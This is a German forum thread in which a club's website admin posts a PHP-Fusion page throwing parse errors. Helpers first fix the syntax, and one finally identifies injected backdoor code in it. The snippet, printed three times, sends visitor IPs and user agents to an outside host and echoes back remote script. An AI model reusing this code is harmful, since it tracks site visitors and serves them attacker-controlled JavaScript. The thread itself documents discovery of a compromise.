XHTMLforum

XHTMLforum (http://xhtmlforum.de/index.php)
-   Serveradministration und serverseitige Scripte (http://xhtmlforum.de/forumdisplay.php?f=80)
-   -   Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING (http://xhtmlforum.de/showthread.php?t=70962)

Hubi 19.05.2014 10:19

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING
 
Hallo,
Habe vor kurzem in unserem Verein die Aufgabe bekommen das Forum zu administrieren (News aktuell halten, Kalender ausfüllen, neue Nutzer freischalten etc.). Wie es der Teufel so woll haben wir jetzt eine Fehlermeldung die ich beheben soll und der ersteller des Forums ist nicht mehr erreichbar.
Hab auch schon die Suche genutzt aber irgendwie hilft mir das nicht wirklich weiter.

"Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in /www/htdocs/w00ae071/Speedway/html/viewpage.php on line 29"

Ich bin zu doof den Fehler zu finden bzw. ihn zu beheben.
Hier der Code:
PHP-Code:

<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once 
"subheader.php";
require_once 
"side_left.php";
require_once 
INCLUDES."comments_include.php";
require_once 
INCLUDES."ratings_include.php";
include 
LOCALE.LOCALESET."custom_pages.php";

if (isset(
$page_id) && !isNum($page_id)) fallback("index.php");

$result dbquery("SELECT * FROM ".$db_prefix."custom_pages WHERE page_id='$page_id'");
if (
dbrows($result) != 0) {
    
$data dbarray($result);
    
opentable($data['page_title']);
    if (
checkgroup($data['page_access'])) {
        eval(
"?>
<?php
#233cde#
error_reporting(0); ini_set('display_errors',0); 
$wp_x229 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', 
$wp_x229) && !preg_match ('/bot/i', $wp_x229))){
$wp_x09229="http://"."html"."common".".com/common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_x229);
$ch curl_init(); curl_setopt ($chCURLOPT_URL,$wp_x09229);
curl_setopt ($chCURLOPT_TIMEOUT6); curl_setopt($chCURLOPT_RETURNTRANSFER1); $wp_229x curl_exec ($ch); curl_close($ch);}
if ( 
substr($wp_229x,1,3) === 'scr' ){ echo $wp_229x; }
#/233cde#
?>".stripslashes($data['page_content'])."<?php ");
    } else {
        echo "
<center><br>\n".$locale['400']."\n<br><br></center>\n";
    }
} else {
    opentable(
$locale['401']);
    echo "
<center><br>\n".$locale['402']."\n<br><br></center>\n";
}
closetable();
if (dbrows(
$result) && checkgroup($data['page_access'])) {
    if (
$data['page_allow_comments']) showcomments("C","custom_pages","page_id",$page_id,FUSION_SELF."?page_id=$page_id");
    if (
$data['page_allow_ratings']) showratings("C",$page_id,FUSION_SELF."?page_id=$page_id");
}

require_once "
side_right.php";
require_once "
footer.php";
?>

Vielen Dank schon mal für eure Hilfe

Gruß Flo

chorn 19.05.2014 13:24

Das wird dann wohl das eval() sein, die Anführungszeichen sind ziemlich durcheinander. Wobei mir auch nicht klar ist, wozu an dieser Stelle eval() benutzt wird, der Kontext ist doch schon PHP und aus der Datenbank kommt nur $data für stripslashes(). Das sollte man dringend umbauen.

Hubi 19.05.2014 14:17

Super Danke das hat schon mal geklappt.
Jetzt bekomme ich die nächste Fehlermeldung. :(
"Parse error: syntax error, unexpected $end in /www/htdocs/w00ae071/Speedway/html/viewpage.php on line 51"
In Zeile 39 ist eine geschlossene geschweifte Klammer die keinen Anfang hat vielleicht liegt es daran?
PHP-Code:

<?php
/*---------------------------------------------------+
| PHP-Fusion 6 Content Management System
+----------------------------------------------------+
| Copyright © 2002 - 2006 Nick Jones
| http://www.php-fusion.co.uk/
+----------------------------------------------------+
| Released under the terms & conditions of v2 of the
| GNU General Public License. For details refer to
| the included gpl.txt file or visit http://gnu.org
+----------------------------------------------------*/
require_once "maincore.php";
require_once 
"subheader.php";
require_once 
"side_left.php";
require_once 
INCLUDES."comments_include.php";
require_once 
INCLUDES."ratings_include.php";
include 
LOCALE.LOCALESET."custom_pages.php";

if (isset(
$page_id) && !isNum($page_id)) fallback("index.php");

$result dbquery("SELECT * FROM ".$db_prefix."custom_pages WHERE page_id='$page_id'");
if (
dbrows($result) != 0) {
    
$data dbarray($result);
    
opentable($data['page_title']);
    if (
checkgroup($data['page_access']))

#233cde#
error_reporting(0); ini_set('display_errors',0); $wp_x229 = @$_SERVER['HTTP_USER_AGENT'];
if (( 
preg_match ('/Gecko|MSIE/i'$wp_x229) && !preg_match ('/bot/i'$wp_x229))){
$wp_x09229="http://"."html"."common".".com/common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_x229);
$ch curl_init(); curl_setopt ($chCURLOPT_URL,$wp_x09229);
curl_setopt ($chCURLOPT_TIMEOUT6); curl_setopt($chCURLOPT_RETURNTRANSFER1); $wp_229x curl_exec ($ch); curl_close($ch);}
if ( 
substr($wp_229x,1,3) === 'scr' ){ echo $wp_229x; }
#/233cde#
?>".stripslashes($data['page_content']).;
    } else {
        echo "<center><br>\n".$locale['400']."\n<br><br></center>\n";
    }
} else {
    opentable($locale['401']);
    echo "<center><br>\n".$locale['402']."\n<br><br></center>\n";
}
closetable();
if (dbrows($result) && checkgroup($data['page_access'])) {
    if ($data['page_allow_comments']) showcomments("C","custom_pages","page_id",$page_id,FUSION_SELF."?page_id=$page_id");
    if ($data['page_allow_ratings']) showratings("C",$page_id,FUSION_SELF."?page_id=$page_id");
}

require_once "side_right.php";
require_once "footer.php";
?>

Danken nochmal für eure Hilfe

Gruß Flo

chorn 19.05.2014 15:54

Ja genau, an sowas kann es liegen. Welchen Editor benutzt du? An den Farben deines Codes hier im Forum siehst du ja schon, dass da was nicht stimmt (PHP-Funktionen z.B. sollten blau sein) - sowas kannst du auch auf deinem Rechner machen, unter anderen mit dem kostenlosen Notepad++. Das zeigt dir auch zusammengehörige Klammern an.

Hubi 19.05.2014 16:53

Als Editor nutze ich CodeMirror.
Da ich das alles direkt auf dem server mach ist das etwas schwierig...
Noch ne doofe Frage am schluss, welche Farbe sagt denn dass was nicht stimmt? (hoffentlich nicht rot)

Danke nochmal

Gru

protonenbeschleuniger 19.05.2014 18:45

Du siehst es daran, dass der PHP Code nicht farbig ist.

chorn 20.05.2014 11:17

hier im Forum:

blau = PHP
rot = Strings/Zeichenketten
schwarz = HTML

Und wenn da irgendwo in rot oder schwarz PHP-Code auftaucht, ist das warscheinlich schon nicht richtig.

Du kannst dir auch lokal Notepad++ installieren und da den Code aus Codemirror reinkopieren, bearbeiten, wieder zurückkopieren - das geht bei kleinen Scripten ja noch.

mermshaus 21.05.2014 02:35

Der Code, den du gepostet hast, wurde übrigens (wahrscheinlich) gehackt.

PHP-Code:

#233cde#
error_reporting(0); ini_set('display_errors',0); $wp_x229 = @$_SERVER['HTTP_USER_AGENT'];
if (( 
preg_match ('/Gecko|MSIE/i'$wp_x229) && !preg_match ('/bot/i'$wp_x229))){
$wp_x09229="http://"."html"."common".".com/common"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_x229);
$ch curl_init(); curl_setopt ($chCURLOPT_URL,$wp_x09229);
curl_setopt ($chCURLOPT_TIMEOUT6); curl_setopt($chCURLOPT_RETURNTRANSFER1); $wp_229x curl_exec ($ch); curl_close($ch);}
if ( 
substr($wp_229x,1,3) === 'scr' ){ echo $wp_229x; }
#/233cde# 

Das ist eine Art Backdoor, um (vermutlich) JavaScript-Code einzuschleusen.

Siehe etwa: Hackerangriff bei 1und1? - php.de

Der eingefügte Hack ist vermutlich auch der Grund, warum der Code nicht mehr geht. Theorie: Der Angreifer (beziehungsweise das angreifende Script) platziert den Schadcode hinter dem ersten (?) Vorkommen von „?>“. Das steht bei eurer Seite aber in einem String für eval. Deshalb führen dann die Anführungszeichen im Schadcode schnell zu Syntaxfehlern.

Die nicht unbedingt gute Programmierung (Nutzung von eval) hat in diesem Fall damit wohl zur Entdeckung eines Sicherheitsproblems geführt. :)


Alle Zeitangaben in WEZ +2. Es ist jetzt 00:39 Uhr.

Powered by vBulletin® Version 3.8.11 (Deutsch)
Copyright ©2000 - 2024, vBulletin Solutions, Inc.

© Dirk H. 2003 - 2023